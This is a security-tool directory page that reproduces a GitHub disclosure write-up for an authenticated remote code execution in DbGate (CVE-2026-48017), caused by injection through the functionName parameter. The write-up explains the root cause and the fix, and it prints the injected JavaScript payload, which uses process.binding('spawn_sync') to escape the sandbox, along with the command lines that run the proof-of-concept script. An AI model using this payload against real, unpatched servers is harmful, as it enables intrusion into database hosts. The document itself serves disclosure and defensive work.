Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/romain-deperne/cve-2026-48017
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubromain-deperne/cve-2026-48017

CVE-2026-48017

Remote Code Execution in DbGate via functionName injection in the loadReader endpoint — CVSS 8.8

저장소 보기
1623일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-48017 — Remote Code Execution in DbGate via functionName injection

Severity: High (CVSS 8.8) CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection') Affected: dbgate-api ≤ 7.1.8 (patched in 7.1.9) Advisory: GHSA-hv83-ggc4-v385 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017 Credit: Romain Deperne

TL;DR

The POST /runners/load-reader endpoint takes a functionName parameter and interpolates it directly into a JavaScript template string that is then executed in a forked process — with no sanitization or validation. Any authenticated user (no special permission needed) can break out of the intended call and run arbitrary JavaScript, achieving remote code execution on the server.

The forked runner sets require = null as a sandbox, but process.binding("spawn_sync") remains reachable: process.binding("spawn_sync") is still reachable and spawns a real OS process.

Analysis

I was auditing DbGate's runner subsystem for the gap between guarded and unguarded code-exec paths. The start() runner at runners.js:292 is properly gated — it calls testStandardPermission('run-shell-script') and checks platformInfo.allowShellScripting.

loadReader() does the conceptually-similar thing (it builds and runs a JS loader script) but has none of those checks. I traced the data flow:

runners.js:353  loadReader({ functionName, props })
runners.js:366  loaderScriptTemplate(prefix, functionName, ...)
runners.js:64   `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33  return `dbgateApi.${functionName}`   // ← no sanitization

functionName is attacker-controlled and lands inside an executed template string. The dbgateApi. prefix is the only thing in front of it, and it is escapable: closing the expression with toString();, injecting the payload, and commenting out the trailing (${props}) with // yields valid JS.

Affected component

File: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate) File: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)

// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;

// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`

Generated (injected) script:

const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});

Root cause

compileShellApiFunctionName() was written to turn a short name into a fully-qualified API path (dbgateApi.<name>), implicitly trusting functionName to be an identifier. The value, however, comes straight from the HTTP request body. Because it is concatenated into source that is later eval/forked, the trust assumption is an RCE. The require = null sandbox does not help — Node's internal process.binding("spawn_sync") bypasses it.

Fix (7.1.9): validate functionName against a strict identifier allow-list before compiling it into the loader script.

Proof of Concept

poc/rce_loadreader_functionname_injection.py — drives the real endpoint end-to-end.

# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'

# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'

The script builds the functionName payload, sends it to POST /runners/load-reader, and the injected spawn_sync call executes the command in the forked runner process.

Disclosure timeline

  • Reported privately to the maintainer via GitHub Security Advisory
  • Fixed in DbGate 7.1.9
  • Advisory GHSA-hv83-ggc4-v385 published 2026-05-22; CVE-2026-48017 assigned

Impact

Authenticated RCE on the DbGate API host. DbGate is a database management GUI frequently deployed with broad network reach to internal databases — code execution on it is a strong pivot into the data tier.


Disclosed responsibly. PoC published after the fix shipped, for defenders and detection engineering.

도구 다운로드